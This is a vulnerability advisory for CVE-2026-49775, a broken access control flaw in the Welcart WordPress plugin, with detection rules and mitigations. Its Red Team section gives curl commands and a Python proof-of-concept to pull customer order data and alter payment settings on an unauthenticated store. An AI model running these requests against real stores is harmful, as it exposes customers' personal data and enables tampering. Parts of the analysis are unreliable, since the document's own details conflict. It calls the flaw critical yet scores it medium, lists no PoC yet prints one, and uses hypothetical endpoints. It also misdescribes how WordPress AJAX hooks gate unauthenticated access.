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Welcart logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-49775

CVE-2026-49775 Information Disclosure in Welcart
📅 PUBLISHED: 2026-06-15 21:17 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Japan License: Proprietary
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-49775 is a critical Broken Access Control vulnerability affecting the Welcart e-Commerce WordPress plugin, versions up to and including 2.11.28. This flaw allows an unauthenticated attacker to bypass authorization checks and access protected administrative functions or data. Given that Welcart is a widely used e-commerce plugin for WordPress, this vulnerability poses a significant risk to online stores, potentially leading to unauthorized order viewing, customer data exposure, or configuration changes. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

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WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It is not related to Apache, Nginx, or any other web server software. The flaw resides entirely within the Welcart plugin's access control logic, which fails to properly validate user permissions before granting access to sensitive endpoints.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – The attacker does not need any authentication.
  • User Interaction (UI): None – No user action is required for exploitation.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low – Limited information disclosure (e.g., order data, customer details).
  • Integrity (I): Low – Limited ability to modify data (e.g., change plugin settings).
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is 6.5, the unauthenticated nature and the lack of a patch elevate the real-world risk, especially for e-commerce sites handling sensitive customer data.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks in the Welcart plugin's REST API or AJAX handlers. The plugin fails to verify the wp_nonce or user capabilities (current_user_can()) before executing privileged actions. This allows an unauthenticated attacker to send crafted HTTP requests to internal endpoints that should be restricted to administrators.

Root Cause: The plugin uses functions like wp_ajax_* hooks without a corresponding wp_ajax_nopriv_* check, or it implements custom AJAX handlers that do not validate user roles. In some cases, the plugin may rely on client-side checks that can be easily bypassed.

Attack Vector:

  1. An attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=welcart_get_orders).
  2. The attacker sends a GET or POST request to this endpoint without any authentication token.
  3. The plugin processes the request and returns sensitive data (e.g., order details, customer PII) or performs a state-changing operation (e.g., updating plugin settings).

Impact:

  • Data Breach: Exposure of customer names, addresses, email addresses, and order history.
  • Configuration Tampering: Modification of payment gateway settings, shipping rules, or tax configurations.
  • Privilege Escalation: In some cases, the attacker may be able to create new admin users or modify existing ones.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for Broken Access Control vulnerabilities.

Vulnerable Code (Welcart <= 2.11.28):

add_action('wp_ajax_welcart_get_orders', 'welcart_get_orders_callback');
function welcart_get_orders_callback() {
    // No capability check
    $orders = get_all_orders();
    wp_send_json($orders);
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_welcart_get_orders', 'welcart_get_orders_callback');
function welcart_get_orders_callback() {
    // Proper capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $orders = get_all_orders();
    wp_send_json($orders);
}

The patched version adds a current_user_can('manage_options') check, ensuring only administrators can access the endpoint. Additionally, a nonce verification should be implemented:

if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'welcart_get_orders_nonce')) {
    wp_die('Nonce verification failed', 403);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • WordPress 6.x with Welcart e-Commerce 2.11.28 installed.
  • A test site with sample orders and customer data.

Exploitation Steps:

  1. Reconnaissance: Identify vulnerable endpoints by analyzing the plugin's JavaScript files or by fuzzing common AJAX actions.

    curl -s http://target/wp-admin/admin-ajax.php?action=welcart_get_orders
    
  2. Data Exfiltration: If the endpoint returns data without authentication, extract it.

    curl -s http://target/wp-admin/admin-ajax.php?action=welcart_get_orders | jq '.'
    
  3. Configuration Manipulation: If an endpoint allows settings changes, modify them.

    curl -X POST http://target/wp-admin/admin-ajax.php \
      -d 'action=welcart_update_settings&payment_gateway=malicious'
    

Proof of Concept (PoC) Script:

import requests

target = "http://target-site.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"

# Attempt to access orders without authentication
response = requests.get(endpoint, params={"action": "welcart_get_orders"})
if response.status_code == 200 and "orders" in response.text:
    print("[+] Vulnerability confirmed! Orders data exposed.")
    print(response.text)
else:
    print("[-] Endpoint may be protected or not vulnerable.")

Blue Team (Defensive)

Detection & Prevention:

  1. Web Application Firewall (WAF) Rules: Block requests to admin-ajax.php with unknown or suspicious action parameters.
  2. Access Log Monitoring: Monitor for repeated requests to admin-ajax.php from unauthenticated IPs.
  3. Plugin Hardening: Temporarily disable the Welcart plugin until a patch is available. If disabling is not possible, implement a custom mu-plugin that adds capability checks to all Welcart AJAX actions.

Custom mu-plugin for mitigation:

<?php
// Place in /wp-content/mu-plugins/welcart-fix.php
add_action('init', function() {
    // Block all unauthenticated AJAX requests to Welcart actions
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'welcart_') === 0) {
            wp_die('Unauthorized', 403);
        }
    }
});

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action parameters starting with welcart_ from unauthenticated sources.
  • Unusual spikes in admin-ajax.php requests from a single IP.
  • Responses containing JSON with keys like orders, customers, or settings without a valid session.

File IOCs:

  • Modified Welcart plugin files (check file integrity via MD5 hashes).
  • Unexpected files in /wp-content/uploads/ or /wp-content/plugins/usc-e-shop/.

Log IOCs:

  • WordPress debug log entries showing wp_die calls with "Unauthorized" messages (if mitigation is applied).
  • Web server access logs with POST /wp-admin/admin-ajax.php and HTTP 200 responses for unauthenticated users.

Detection Engineering

YARA Rule

rule welcart_broken_access_control {
    meta:
        description = "Detects Welcart plugin files with missing capability checks"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-49775"
    strings:
        $ajax_hook = /add_action\s*\(\s*['\"]wp_ajax_welcart_/
        $no_cap_check = /current_user_can/
    condition:
        $ajax_hook and not $no_cap_check
}

Sigma Rule

title: Welcart Unauthenticated AJAX Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to Welcart AJAX endpoints
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=welcart_'
        sc-status: 200
    filter:
        c-ip: '127.0.0.1'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-49775 - Welcart Unauthenticated AJAX Access"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=welcart_"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Welcart plugin if it is not critical for business operations.
  2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with welcart_ actions.
  3. Apply the custom mu-plugin provided in the Blue Team section to block all unauthenticated Welcart AJAX requests.

Long-term Fix:

  • Monitor the Welcart vendor's website for a security patch. Once released, update to the patched version immediately.
  • Conduct a security audit of all WordPress plugins to ensure proper authorization checks are in place.
  • Implement a Content Security Policy (CSP) to mitigate data exfiltration via XSS, though this does not directly fix the access control issue.

Workaround:

  • If the plugin cannot be disabled, restrict access to wp-admin/admin-ajax.php via .htaccess or Nginx configuration to only allow authenticated users. Note: This may break legitimate AJAX functionality for non-logged-in users (e.g., cart updates).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2026-49775

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